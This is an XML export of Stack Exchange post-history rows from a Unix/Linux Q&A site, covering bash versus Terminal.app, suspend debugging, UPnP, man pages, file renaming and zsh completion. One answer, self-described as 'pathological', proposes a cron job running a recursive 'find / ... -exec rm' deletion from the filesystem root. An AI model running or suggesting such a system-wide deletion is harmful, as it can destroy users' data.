  <row Id="6912" PostHistoryTypeId="2" PostId="3263" RevisionGUID="3f7c8b35-fc18-4edb-abf4-3f9e6edcb392" CreationDate="2010-10-18T20:36:30.977" UserId="1207" Text="As others have said, there is no cross-editor configuration options.  But, here is one pathological solution:&#xD;&#xA;&#xD;&#xA;1. Write a script that does something like the following:&#xD;&#xA;&#xD;&#xA;        find / -iname &quot;*~&quot; -exec rm {} \;&#xD;&#xA;&#xD;&#xA;2. Add this script as a cron job that runs every so many minutes.  &#xD;&#xA;&#xD;&#xA;If you are just interested in keeping your dropbox folder clean, change the `/` to the appropriate folder.  I'll bet an even more interesting solution can be created by using [incron][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://inotify.aiken.cz/?section=incron&amp;page=about&amp;lang=en" />
  <row Id="6913" PostHistoryTypeId="2" PostId="3264" RevisionGUID="e2eed8a9-b8a3-42ee-a27b-34eb636d3445" CreationDate="2010-10-19T02:05:49.870" UserId="1465" Text="I know that Apple's Terminal.app provides a bash shell. Are there any differences between this and a bash on Linux?" />
  <row Id="6914" PostHistoryTypeId="1" PostId="3264" RevisionGUID="e2eed8a9-b8a3-42ee-a27b-34eb636d3445" CreationDate="2010-10-19T02:05:49.870" UserId="1465" Text="How similar is Apple's terminal.app to a bash terminal on Linux?" />
  <row Id="6915" PostHistoryTypeId="3" PostId="3264" RevisionGUID="e2eed8a9-b8a3-42ee-a27b-34eb636d3445" CreationDate="2010-10-19T02:05:49.870" UserId="1465" Text="ébashàéosxà" />
  <row Id="6916" PostHistoryTypeId="2" PostId="3265" RevisionGUID="6d7943ea-71e3-4e4b-9424-b9d199776a6f" CreationDate="2010-10-19T02:48:45.477" UserId="1207" Text="I'm hoping to get experience-based suggestions on how to go about debugging suspend-to-RAM issue.  Advice specific to my situation(detailed below) would be great, but I am also interested in general advice about how to debug such issues.&#xD;&#xA;&#xD;&#xA;**The problem:**&#xD;&#xA;&#xD;&#xA;Often, when I attempt to suspend my machine, it gets stuck in a &quot;not suspended but not awake&quot; state.  Often the screen will be completely black but sometimes it will have the following error message on it:&#xD;&#xA;&#xD;&#xA;    GLib-WARNING **: getpwuid_r(): failed due to unknown user id (0) &#xD;&#xA;&#xD;&#xA;Also, this state will also be accompanied by the fans kicking into high gear.  The only way to get it out of this state is to manually power off the laptop.&#xD;&#xA;&#xD;&#xA;**Some Information**&#xD;&#xA;&#xD;&#xA;    $ uname -a&#xD;&#xA;    Linux baltar 2.6.35-22-generic #34-Ubuntu SMP Sun Oct 10 09:26:05 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;    $ lsb_release -a&#xD;&#xA;    Distributor ID:    Ubuntu&#xD;&#xA;    Description:    Ubuntu 10.10&#xD;&#xA;    Release:    10.10&#xD;&#xA;    Codename:    maverick&#xD;&#xA;&#xD;&#xA;I've taken a look at `/var/log/dmesg` and `/var/log/pm-suspend.log`, but I don't know what I'm looking for and nothing stands out.  I'm unsure if it is related, but I did find a lot of the following in `/var/log/kern.log`:&#xD;&#xA;&#xD;&#xA;    EXT4-fs (dm-0): re-mounted. Opts: errors=remount-ro,commit=600" />
  <row Id="6917" PostHistoryTypeId="1" PostId="3265" RevisionGUID="6d7943ea-71e3-4e4b-9424-b9d199776a6f" CreationDate="2010-10-19T02:48:45.477" UserId="1207" Text="How can I debug a Suspend-to-RAM issue on Linux?" />
  <row Id="6918" PostHistoryTypeId="3" PostId="3265" RevisionGUID="6d7943ea-71e3-4e4b-9424-b9d199776a6f" CreationDate="2010-10-19T02:48:45.477" UserId="1207" Text="élinuxàédebuggingàésuspendà" />
  <row Id="6919" PostHistoryTypeId="2" PostId="3266" RevisionGUID="4fe9a23b-b585-4944-a24e-032c2460cebb" CreationDate="2010-10-19T04:04:57.337" UserId="1107" Text="*Terminal* is a terminal emulator. It interprets various control sequences sent by programs (control characters like CR, LF, BS and longer control sequences for commands like “clear screen”, “move cursor up 3 lines”, etc.). *Terminal* is the same kind of program as *xterm*, *rxvt*, *Konsole*, or *GNOME Terminal*. Almost all modern terminal emulators support the “xterm” control sequences, so they are generally highly compatible (and most programs use the ncurses library and its terminfo database to abstract over the actual control sequences).&#xD;&#xA;&#xD;&#xA;*bash* is a shell. It interprets commands that usually involve running other programs. In normal, interactive use the shell’s input comes from a user via a terminal emulator. The terminal emulator and the shell are connected via a “pseudo tty” device (e.g. `/dev/pts/24`, or `/dev/ttyp9`).&#xD;&#xA;&#xD;&#xA;Because the tty devices are the only interface between *Terminal* and *bash*, they are completely independent. You can use *bash* with *iTerm* instead of *Terminal*, and you can use *zsh* instead of *bash* inside a *Terminal* window.&#xD;&#xA;&#xD;&#xA;The version of *bash* installed on your Mac OS X and Linux systems may be different, but should be fairly easy to install pretty much whatever version of *bash* you want on either system. You might look at [MacPorts](http://www.macports.org/), [homebrew](http://github.com/mxcl/homebrew), or [Fink](http://www.finkproject.org/) for ways to install recent versions of *bash* (and other shells) on Mac OS X. Whatever Linux distribution you are using surely comes with packages for common shells." />
  <row Id="6920" PostHistoryTypeId="2" PostId="3267" RevisionGUID="91ad7119-1632-4409-905b-9394a449a70c" CreationDate="2010-10-19T08:22:33.973" UserId="33" Text="The Power thingy and the user chat bubble thingy are both the same applet called &quot;Indicator Applet Session&quot;. " />
  <row Id="6921" PostHistoryTypeId="2" PostId="3268" RevisionGUID="43d5e058-6fa4-421f-9edc-317424b1268e" CreationDate="2010-10-19T09:00:58.157" UserId="892" Text="I'm a long time fan of Slackware and I've always had a machine serving as my main server/firewall with the latest version installed.&#xD;&#xA;&#xD;&#xA;I have it now but I'm struggling to find information on how to setup UPnP on it.&#xD;&#xA;&#xD;&#xA;Can anyone please provide some good links where I can investigate further.&#xD;&#xA;&#xD;&#xA;Many thanks." />
  <row Id="6922" PostHistoryTypeId="1" PostId="3268" RevisionGUID="43d5e058-6fa4-421f-9edc-317424b1268e" CreationDate="2010-10-19T09:00:58.157" UserId="892" Text="How would I go about getting UPnP working on a Slackware server/firewall?" />
  <row Id="6923" PostHistoryTypeId="3" PostId="3268" RevisionGUID="43d5e058-6fa4-421f-9edc-317424b1268e" CreationDate="2010-10-19T09:00:58.157" UserId="892" Text="énetworkingàéfirewallà" />
  <row Id="6924" PostHistoryTypeId="2" PostId="3269" RevisionGUID="41f47dbf-608e-4ccb-bb07-262fd2cb351c" CreationDate="2010-10-19T09:12:18.177" UserDisplayName="delete" Text="If I have a C library, let's say &quot;apple&quot;, and &quot;apple&quot; contains functions &quot;banana&quot; and &quot;carrot&quot;, how do I write the &quot;install&quot; line in the makefile so that &quot;man banana&quot; brings up the manual page for the &quot;apple&quot; library?&#xD;&#xA;" />
  <row Id="6925" PostHistoryTypeId="1" PostId="3269" RevisionGUID="41f47dbf-608e-4ccb-bb07-262fd2cb351c" CreationDate="2010-10-19T09:12:18.177" UserDisplayName="delete" Text="Writing a makefile to install manual pages for a library" />
  <row Id="6926" PostHistoryTypeId="3" PostId="3269" RevisionGUID="41f47dbf-608e-4ccb-bb07-262fd2cb351c" CreationDate="2010-10-19T09:12:18.177" UserDisplayName="delete" Text="éinstallàémanàémakeà" />
  <row Id="6927" PostHistoryTypeId="2" PostId="3270" RevisionGUID="c226596c-4109-4271-ab05-fdbd68ee82f2" CreationDate="2010-10-19T10:12:39.460" UserId="1474" Text="You want to copy banana.3 to /usr/share/man/man3/ or perhaps /usr/local/share/man/man3.  Details on which directory to use depend on your build system and your users' configurations.  You might want to consider Automake." />
  <row Id="6928" PostHistoryTypeId="2" PostId="3271" RevisionGUID="b96ca09f-72ce-4b17-ab01-290ad3bc0b81" CreationDate="2010-10-19T10:24:00.740" UserDisplayName="delete" Text="There is an environment variable `VERSION_CONTROL` which works for Emacs and other Gnu utilities (unless some gnome inside my computer has been fooling me or something). Whether this works for other things I don't know.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6929" PostHistoryTypeId="2" PostId="3272" RevisionGUID="dec55266-69b1-479e-87d7-bcef7c2ebc5f" CreationDate="2010-10-19T10:30:34.277" UserId="274" Text="Make the `banana.3` man page a symbolic link to the `apple.3` page:&#xD;&#xA;&#xD;&#xA;    install-man: apple.3&#xD;&#xA;        install ... apple.3 $(mandir)/man3/apple.3&#xD;&#xA;        ln -s apple.3 $(mandir)/man3/banana.3&#xD;&#xA;        ln -s apple.3 $(mandir)/man3/carrot.3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6933" PostHistoryTypeId="2" PostId="3273" RevisionGUID="9375540a-4e0f-4c93-8cb4-609e535b7165" CreationDate="2010-10-19T11:13:29.837" UserId="2343" Text="I want to create a custom Language, with its own custom Syntax Highlighting.  &#xD;&#xA;&#xD;&#xA;Notepad++ (a Windows SciTe/Scintilla based Text-editor), allowed me to create a custom &quot;Language&quot;, and now, in Linux, I want to reproduce the same thing. &#xD;&#xA;&#xD;&#xA;I need(?) to use **SkiTe/Scintilla** because unless someone knows otherwise, it is the only plain text editor which can display ***different size*** fonts in the ***same*** text-file (eg. default-font= 12pt, comment-font=24pt).  &#xD;&#xA;&#xD;&#xA;I used the **comments** font to display a complex script(alphabet) in a larger font.  &#xD;&#xA;Please let me know if there is any other **plain** text editor which does this.  &#xD;&#xA;&#xD;&#xA;I assume this is a feature of SciTe/Scintilla (and not of Notepad++).  &#xD;&#xA;Some of the magic is possible/probably(?) done in files such ase:  &#xD;&#xA;/usr/share/scite/&lt;LANGUAGE&gt;.properties   &#xD;&#xA;&#xD;&#xA;Notepad++ has a GUI interface to set up a new language/syntax,  &#xD;&#xA;...but I could use some direction on exactly how to go about it in SciTe.  &#xD;&#xA;&#xD;&#xA;Thanks..." />
  <row Id="6934" PostHistoryTypeId="1" PostId="3273" RevisionGUID="9375540a-4e0f-4c93-8cb4-609e535b7165" CreationDate="2010-10-19T11:13:29.837" UserId="2343" Text="In SciTe (Scintilla), how can I create Sytax-Highlighting  for my own custom  language?" />
  <row Id="6935" PostHistoryTypeId="3" PostId="3273" RevisionGUID="9375540a-4e0f-4c93-8cb4-609e535b7165" CreationDate="2010-10-19T11:13:29.837" UserId="2343" Text="éeditorsàéfontsàésizeà" />
  <row Id="6936" PostHistoryTypeId="6" PostId="3216" RevisionGUID="33251f19-5938-4a5e-a7bd-9f3fb4677839" CreationDate="2010-10-19T11:15:38.107" UserId="2320" Comment="edited tags" Text="égnomeàéxorgàévimàékeyboardà" />
  <row Id="6937" PostHistoryTypeId="2" PostId="3274" RevisionGUID="9ca32a41-af6a-44d7-9e75-f931315b7c4c" CreationDate="2010-10-19T12:04:32.577" UserId="2345" Text="You could try the following :&#xD;&#xA;&#xD;&#xA;    mount /dev/sda5 /mnt&#xD;&#xA;    cd /mnt&#xD;&#xA;    ls -l boot vmlinuz initrd.img&#xD;&#xA;&#xD;&#xA;Check that the locations pointed to by the symlinks actually exist and are the correct files you're looking for.&#xD;&#xA;&#xD;&#xA;For example on my box, vmlinuz -&gt; boot/vmlinuz-2.6.32-25-generic.  &#xD;&#xA;You can the modify your grub configuration to point to the right files as stated in txwikinger's answer.&#xD;&#xA;&#xD;&#xA;Another quick way to debug this is to get a prompt in grub (by pressing C in grub1, not sure about grub2), then you can use tab-completion to list available files, and test it on-the-fly." />
  <row Id="6938" PostHistoryTypeId="2" PostId="3275" RevisionGUID="beb4f2cd-9773-44d9-afbb-862f658deb1e" CreationDate="2010-10-19T12:10:38.583" UserId="2345" Text="&gt; I guess I could just echo the last commands inside my .bashrc, but that doesn't seem like a good idea. And also it'd be cool to get the last N commands shown when the scrollback is cleared (via clear).&#xD;&#xA;&#xD;&#xA;I'm not sure there's another way to do it without modifying the bash source... What seems bad about putting it in .bashrc though? You should just add an interactivity test so it doesn't print it in any script :&#xD;&#xA;&#xD;&#xA;    if [ ! -z &quot;$PS1&quot; ]; then&#xD;&#xA;        echo &quot;Hello, the last 5 commands you typed were :&quot;&#xD;&#xA;        tail -n5 ~/.bash_history&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;You could also create an alias for clear which basically does the same." />
  <row Id="6939" PostHistoryTypeId="2" PostId="3276" RevisionGUID="139cfc15-23e8-4029-a299-0a0a25492d52" CreationDate="2010-10-19T12:13:48.633" UserId="1383" Text="I works. But take care that output is no longer instantaneous: it gets buffered through the pipe." />
  <row Id="6940" PostHistoryTypeId="6" PostId="3273" RevisionGUID="f6899e12-ad53-4baf-850e-f538c7317dbc" CreationDate="2010-10-19T12:18:47.330" UserId="1339" Comment="edited tags" Text="éeditorsàéfontsàésizeàéhighlightingà" />
  <row Id="6941" PostHistoryTypeId="2" PostId="3277" RevisionGUID="90460dec-abb4-41b1-8533-ba1b8cd88235" CreationDate="2010-10-19T14:33:31.400" UserId="31" Text="Mac OS uses standard released of Bash. &#xD;&#xA;From systems I have easy access to:&#xD;&#xA;&#xD;&#xA;SLES 10.2&#xD;&#xA;&gt; GNU bash, version 3.1.17(1)-release (x86_64-suse-linux)&#xD;&#xA;&#xD;&#xA;SLES 11.0&#xD;&#xA;GNU bash, version 3.2.49(1)-release (x86_64-suse-linux-gnu)&#xD;&#xA;&#xD;&#xA;Leapord (10.5.8)&#xD;&#xA;&gt; GNU bash, version 3.2.17(1)-release (i386-apple-darwin9.0)&#xD;&#xA;&#xD;&#xA;Snow Leapord (10.6.4)&#xD;&#xA;&gt; GNU bash, version 3.2.48(1)-release (x86_64-apple-darwin10.0)" />
  <row Id="6942" PostHistoryTypeId="2" PostId="3278" RevisionGUID="9c0ba72d-b661-426c-bde8-cf898f84b1b0" CreationDate="2010-10-19T15:50:12.083" UserId="1325" Text="Hi, &#xD;&#xA; I have a directory of files,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session1.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session2.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session3.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session4.xml&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session10.xml&#xD;&#xA;&#xD;&#xA;and I want to remove the blank spaces and the &quot;-&quot; dash characters. I don't want to use the **rename** command because I don't know perl or regular expressions. From another post a recommendation for removing part of a file name was:&#xD;&#xA;&#xD;&#xA;    for f in *.png; do mv $f ${f#image}; done&#xD;&#xA;&#xD;&#xA;this looks nice. I cant figure out what the &quot;#&quot; character does (I assume it removes the string &quot;image&quot; from the file names?), anyways... how do I remove the spaces and dashes? &#xD;&#xA;Best," />
  <row Id="6943" PostHistoryTypeId="1" PostId="3278" RevisionGUID="9c0ba72d-b661-426c-bde8-cf898f84b1b0" CreationDate="2010-10-19T15:50:12.083" UserId="1325" Text="renaming files with the **rename** command" />
  <row Id="6944" PostHistoryTypeId="3" PostId="3278" RevisionGUID="9c0ba72d-b661-426c-bde8-cf898f84b1b0" CreationDate="2010-10-19T15:50:12.083" UserId="1325" Text="éshellàéshellöscriptà" />
  <row Id="6945" PostHistoryTypeId="2" PostId="3279" RevisionGUID="b6a605ff-1307-4ef0-a198-08fa371735fe" CreationDate="2010-10-19T16:00:15.183" UserId="274" Text="You can find information the `${...}` substitutions in your shell's man page, for example [bash(1)](http://manpages.ubuntu.com/1/bash).  The most common two:&#xD;&#xA;&#xD;&#xA; * `${var#word}` remove prefix: the value of variable `var` with the `word` prefix (if any) removed;&#xD;&#xA;&#xD;&#xA; * `${var%word}` remove suffix: the value of variable `var` with the `word` suffix removed (if any).&#xD;&#xA;&#xD;&#xA;So, in your case `${f#image}` expands to the value of `f` (e.g., `image01.png`) removing the `image` prefix, so it yields the value `01.png`.&#xD;&#xA;&#xD;&#xA;The `${...}` expansions are actually much more powerful than that - they can remove prefixes and suffixes with widlcard matching, replace substrings, etc.  All the details are on the man page." />
  <row Id="6946" PostHistoryTypeId="2" PostId="3280" RevisionGUID="dd93e133-e732-4ec7-aa95-1dcb820b1cb1" CreationDate="2010-10-19T16:05:36.027" UserId="1294" Text="UNetbootin&#xD;&#xA;==========&#xD;&#xA;&#xD;&#xA;Yes, the question was already answered, but I just learned of [UNetbootin][1] which given just about any running Linux or Windows system with a network connection the ability to load and install a dozen or so distributions. &#xD;&#xA;&#xD;&#xA;This useful tool can be viewed as a more generalized WUBI, taking you from what you have running now to anything from Damn Small Linux to Ubuntu.&#xD;&#xA;&#xD;&#xA;This turns out to be really helpful when your upgrade to a new system revision reveals a regression of an ancient graphics driver and downgrades are effectively impossible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unetbootin.sourceforge.net/" />
  <row Id="6947" PostHistoryTypeId="5" PostId="3279" RevisionGUID="9c20db8d-062b-4c40-be56-07abd774429f" CreationDate="2010-10-19T16:06:19.147" UserId="274" Comment="expanded" Text="You can find information the `${...}` substitutions in your shell's man page, for example [bash(1)](http://manpages.ubuntu.com/1/bash).  The most common:&#xD;&#xA;&#xD;&#xA; * `${var#word}` remove shortest prefix: the value of variable `var` with the `word` prefix (if any) removed;&#xD;&#xA;&#xD;&#xA; * `${var%word}` remove shortest suffix: the value of variable `var` with the `word` suffix removed (if any).&#xD;&#xA;&#xD;&#xA; * `${var/pattern/replacement}` remove first occurrence of pattern&#xD;&#xA;&#xD;&#xA; * `${var//pattern/replacment}` remove all occurrences of pattern&#xD;&#xA;&#xD;&#xA;So, in your example `${f#image}` expands to the value of `f` (e.g.,&#xD;&#xA;`image01.png`) removing the `image` prefix, so it yields the value&#xD;&#xA;`01.png`.&#xD;&#xA;&#xD;&#xA;The `word` and `replacement` part in the `${...}` expansions are&#xD;&#xA;subject to the same wildcard expansions as filenames; therefore,&#xD;&#xA;if you want to remove spaces and `-`, you could use `${f//[ -]/}`&#xD;&#xA;(replaces any occurrence of characters ` ` and `-` with a null string.&#xD;&#xA;&#xD;&#xA;All details on the man page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6948" PostHistoryTypeId="2" PostId="3281" RevisionGUID="6315f4f9-4f79-40e6-9923-014780c63ad6" CreationDate="2010-10-19T16:14:17.550" UserId="1941" Text="You might also use sed to build the new name. There it would be&#xD;&#xA;&#xD;&#xA;    for i in *.xml; do mv &quot;$i&quot; `echo &quot;$i&quot; | sed -e &quot;s/[ -]//g&quot;`; done&#xD;&#xA;&#xD;&#xA; " />
  <row Id="6949" PostHistoryTypeId="4" PostId="3278" RevisionGUID="a8e481bb-624a-4a59-aa56-03bef1639e2f" CreationDate="2010-10-19T16:37:04.387" UserId="1325" Comment="with -&gt; without" Text="renaming files without the **rename** command" />
  <row Id="6950" PostHistoryTypeId="5" PostId="3278" RevisionGUID="4d2fe8ff-d4db-4839-b791-22d5923acf04" CreationDate="2010-10-19T16:56:42.323" UserId="1325" Comment="addin gresults" Text="Hi, &#xD;&#xA; I have a directory of files,&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session1.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session2.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session3.xml&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session4.xml&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;Measurements Panama 2009-03-22 Session10.xml&#xD;&#xA;&#xD;&#xA;and I want to remove the blank spaces and the &quot;-&quot; dash characters. I don't want to use the **rename** command because I don't know perl or regular expressions. From another post a recommendation for removing part of a file name was:&#xD;&#xA;&#xD;&#xA;    for f in *.png; do mv $f ${f#image}; done&#xD;&#xA;&#xD;&#xA;this looks nice. I cant figure out what the &quot;#&quot; character does (I assume it removes the string &quot;image&quot; from the file names?), anyways... how do I remove the spaces and dashes? &#xD;&#xA;Best,&#xD;&#xA;&#xD;&#xA;I get an error that the files are not a directory when doing&#xD;&#xA;&#xD;&#xA;    [jings]s0128943: for f in *.xml; do mv $f ${f//[ -]/};done &#xD;&#xA;&#xD;&#xA;    mv: target `MeasurementsPanama20090322Session10.xml' is not a directory &#xD;&#xA;&#xD;&#xA;    mv: target `MeasurementsPanama20090322Session1.xml' is not a directory &#xD;&#xA;&#xD;&#xA;etc for all the files" />
  <row Id="6951" PostHistoryTypeId="5" PostId="3258" RevisionGUID="4b30b147-2031-4f05-ad3c-af21df48da4e" CreationDate="2010-10-19T17:23:42.693" UserId="1327" Comment="added 12 characters in body" Text="&lt;p&gt;&#xD;&#xA;    Unix and Linux - Stack Exchange is for &lt;span class=&quot;revision-comment&quot;&gt;users of Linux, FreeBSD and other Un*x-like operating systems.&lt;/span&gt;&#xD;&#xA;&lt;/p&gt;&#xD;&#xA;&#xD;&#xA;If your question is about:&#xD;&#xA;&#xD;&#xA;* Using or administering a *nix desktop or server&#xD;&#xA;* The Unix foundation underlying MacOS (but generally *not* frontend application questions)&#xD;&#xA;* The underlying *nix OS on an embedded system or handheld device (e.g. an Android phone)&#xD;&#xA;* Shell scripting&#xD;&#xA;&#xD;&#xA;then you're in the right place. If you're not sure if your question is on-topic, [ask on meta](http://meta.unix.stackexchange.com/questions/ask) or just [give it a try](http://unix.stackexchange.com/questions/ask) and the community will decide..." />
  <row Id="6952" PostHistoryTypeId="4" PostId="3273" RevisionGUID="f628ee95-f187-42cd-870b-06a1c6d032e1" CreationDate="2010-10-19T17:38:27.517" UserId="1941" Comment="Fix spelling in title" Text="In SciTe (Scintilla), how can I create Syntax-Highlighting  for my own custom  language?" />
  <row Id="6953" PostHistoryTypeId="2" PostId="3282" RevisionGUID="9c3e4bc5-1a13-4df8-b37e-31f688eba9cf" CreationDate="2010-10-19T17:53:16.383" UserId="1339" Text="I think you are looking for [linux-igd][1].&#xD;&#xA;&#xD;&#xA;&gt; This project is a deamon that emulates&#xD;&#xA;&gt; Microsoft's Internet Connection&#xD;&#xA;&gt; Service (ICS). It implements the UPnP&#xD;&#xA;&gt; Internet Gateway Device specification&#xD;&#xA;&gt; (IGD) and allows UPnP aware clients,&#xD;&#xA;&gt; such as MSN Messenger to work properly&#xD;&#xA;&gt; from behind a NAT firewall.&#xD;&#xA;&#xD;&#xA;This works fine with iptables...&#xD;&#xA;  [1]: http://linux-igd.sourceforge.net/" />
  <row Id="6954" PostHistoryTypeId="6" PostId="3268" RevisionGUID="947f55b9-81ae-4e65-992e-b4a5b10214c9" CreationDate="2010-10-19T17:54:22.153" UserId="1339" Comment="edited tags; edited tags" Text="énetworkingàéfirewallàéiptablesà" />
  <row Id="6955" PostHistoryTypeId="2" PostId="3283" RevisionGUID="6c94db80-67b9-445f-93a3-9a70efd3509f" CreationDate="2010-10-19T18:08:03.007" UserId="2352" Text="*Transferred from regular StackOverflow...*&#xD;&#xA;&#xD;&#xA;I'm a new ZSH convert on OSX (git status in the prompt was my main driver to make the leap). Everything seems to be working swimmingly but I'm missing something from BASH..&#xD;&#xA;&#xD;&#xA;In BASH I would start to run a CLI PHP script that's built around Symfony's CLI tools.&#xD;&#xA;&#xD;&#xA;Typically I would run the command like this:&#xD;&#xA;&#xD;&#xA;    $&gt; php doctrine --configuration=../conf/doctrine.xml migrations:migrate&#xD;&#xA;&#xD;&#xA;In BASH I would be able to use the &lt;kbd&gt;TAB&lt;/kbd&gt; key while typing out the `../conf/doctrine.xml` portion to complete the directories.&#xD;&#xA;&#xD;&#xA;In ZSH hitting the &lt;kbd&gt;TAB&lt;/kbd&gt; key while typing out the directory results in... nothing.&#xD;&#xA;&#xD;&#xA;Is there a setting in ZSH or a configuration I can set to enable this behavior of attempting to complete almost anything that looks like a directory?" />
  <row Id="6956" PostHistoryTypeId="1" PostId="3283" RevisionGUID="6c94db80-67b9-445f-93a3-9a70efd3509f" CreationDate="2010-10-19T18:08:03.007" UserId="2352" Text="ZSH to auto-complete directories in command-line arguments?" />
  <row Id="6957" PostHistoryTypeId="3" PostId="3283" RevisionGUID="6c94db80-67b9-445f-93a3-9a70efd3509f" CreationDate="2010-10-19T18:08:03.007" UserId="2352" Text="éosxàézshàéautocompleteà" />
  <row Id="6958" PostHistoryTypeId="2" PostId="3284" RevisionGUID="8a481b72-c817-44aa-aec7-dc362f90025f" CreationDate="2010-10-19T18:13:21.197" UserId="1425" Text="Sadly, I only learned about this last year by stumbling upon it randomly on the internet. I use it so infrequently that I always forget what it is by the time I need it again.&#xD;&#xA;&#xD;&#xA;How do you change to your previous directory?" />
  <row Id="6959" PostHistoryTypeId="1" PostId="3284" RevisionGUID="8a481b72-c817-44aa-aec7-dc362f90025f" CreationDate="2010-10-19T18:13:21.197" UserId="1425" Text="What is the bash shortcut to change to the previous directory?" />
  <row Id="6960" PostHistoryTypeId="3" PostId="3284" RevisionGUID="8a481b72-c817-44aa-aec7-dc362f90025f" CreationDate="2010-10-19T18:13:21.197" UserId="1425" Text="ébashà" />
  <row Id="6961" PostHistoryTypeId="2" PostId="3285" RevisionGUID="00e94791-1849-486b-a7f4-bc3fd261e35e" CreationDate="2010-10-19T18:19:21.090" UserId="1339" Text="The shortcut is `-`&#xD;&#xA;&#xD;&#xA;Try `cd -`&#xD;&#xA;&#xD;&#xA;If you want to use this in your prompt, you have to refer to it with `~-`.&#xD;&#xA;&#xD;&#xA;See the example:&#xD;&#xA;&#xD;&#xA;    [echox@kaffeesatz ~]$ cd /tmp&#xD;&#xA;    [echox@kaffeesatz tmp]$ ls&#xD;&#xA;    cron.iddS32  serverauth.CfIgeXuvka&#xD;&#xA;    [echox@kaffeesatz tmp]$ cd -&#xD;&#xA;    /home/echox&#xD;&#xA;    [echox@kaffeesatz ~]$ ls ~-&#xD;&#xA;    cron.iddS32  serverauth.CfIgeXuvka" />
  <row Id="6963" PostHistoryTypeId="2" PostId="3287" RevisionGUID="2cb2428d-5869-4d5f-9024-77184d6f1254" CreationDate="2010-10-19T20:14:43.587" UserId="885" Text="If you have the perl `rename` (e.g. because you're on Debian or Ubuntu), it is the simplest way of skinning this particular cat (as in an individual cat — there are plenty of tools for mass renaming, and searching the archives of this site and [Super User](http://superuser.com/) should find all the major ones).&#xD;&#xA;&#xD;&#xA;    rename 's/[- ]//g' *.xml&#xD;&#xA;&#xD;&#xA;That being said, your script would have worked if you had followed the most important shell programming principle: **all variable substitutions must be double-quoted**. (Why do you need this extra bit of syntax fluff? Because there are cases where you actually want the unquoted behavior. But these cases are rather rare.)&#xD;&#xA;&#xD;&#xA;    for f in *.xml; do mv &quot;$f&quot; &quot;${f//[ -]/}&quot;; done&#xD;&#xA;&#xD;&#xA;With zsh, you wouldn't need to write a loop: you could use the convenient `zmv` function.&#xD;&#xA;&#xD;&#xA;    autoload zmv&#xD;&#xA;    zmv '(*.xml)' '${1//[- ]/}'&#xD;&#xA;" />
  <row Id="6964" PostHistoryTypeId="2" PostId="3288" RevisionGUID="72b20612-1d26-4173-b52c-c27ba6bb8428" CreationDate="2010-10-19T20:38:32.500" UserId="885" Text="Zsh is attempting to be clever in choosing completions, but it's not clever enough to know that after `doctrine --configuration=`, it should complete a file name. Bash is either clever enough to parse this command correctly, or too stupid to complete anything but a file name here.&#xD;&#xA;&#xD;&#xA;You can write a completion function for `doctrine`. This is a little advanced, though — completion functions tend to be a little arcane. You may find it easier to write a completer using zsh's alternative, older, simpler, but less powerful completion system, `compctl` (documented in the `zshcompctl` man page).&#xD;&#xA;&#xD;&#xA;If you have a bash completion function for `doctrine`, you might be able to get zsh to read it by including `autoload bashcompinit; bashcompinit` in your `~/.zshrc`. See [Switching from bash on the zsh wiki](http://zshwiki.org/home/convert/bash).&#xD;&#xA;&#xD;&#xA;You may find it useful to bind a few keys to `_bash_complete-word`. This widget (interactive command) performs completion of a few built-in types, depending on the last character in the key sequence that invoked the widget: `/` for directories, `$` for parameter names, etc. For example, include `bindkey '^X/' _bash_complete-word` in your `~/.zshrc`, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;/&lt;/kbd&gt; to complete a file name in any context (you might need to temporarily insert a space before the file name, if the file name is preceded by punctuation that is not a word separator in the shell).&#xD;&#xA;" />
  <row Id="6965" PostHistoryTypeId="5" PostId="3217" RevisionGUID="65cfb062-b7ca-428c-bf10-2566ed518663" CreationDate="2010-10-19T20:45:41.267" UserId="885" Comment="no SHLVL in dash or ksh88 or ksh93" Text="You have in fact hit upon the correct term¹. There is an environment variable `SHLVL` which all major interactive shells (bash, tcsh, zsh) increment by 1 when they start. So if you start a shell inside a shell, `SHLVL` increases by 1.&#xD;&#xA;&#xD;&#xA;This doesn't directly answer your concern, however, because `SHLVL` carries over things like terminal emulators. For example, in my typical configuration, `$SHLVL` is 2 in an xterm, because level 1 corresponds to the shell that runs my X session (`~/.xinitrc` or `~/.xsession`).&#xD;&#xA;&#xD;&#xA;What I do is to display `$SHLVL` in my prompt, but only if the parent process of the shell is another shell (with heuristics like “if its name ends in `sh` plus optional punctuation and digits, it's a shell”). That way, I have an obvious visual indication in the uncommon case of a shell running under another shell.&#xD;&#xA;&#xD;&#xA;Maybe you would prefer to detect shells that are running directly under a terminal emulator. &#xD;&#xA;You can do this fairly accurately: these are the shells whose parent process has a different controlling terminal, so that `ps -o tty= -p$$` and `ps -o tty= -p$PPID` produce different output. You might manually reset `SHLVL` to 1 in these shells, or set your own `TERMSHLVL` to 1 in these shells (and incremented otherwise).&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;Although one wouldn't think it looking at the manual pages: none of the three shells that support it include the word “level” in their documentation of `SHLVL`.&#xD;&#xA;&lt;/sub&gt;" />
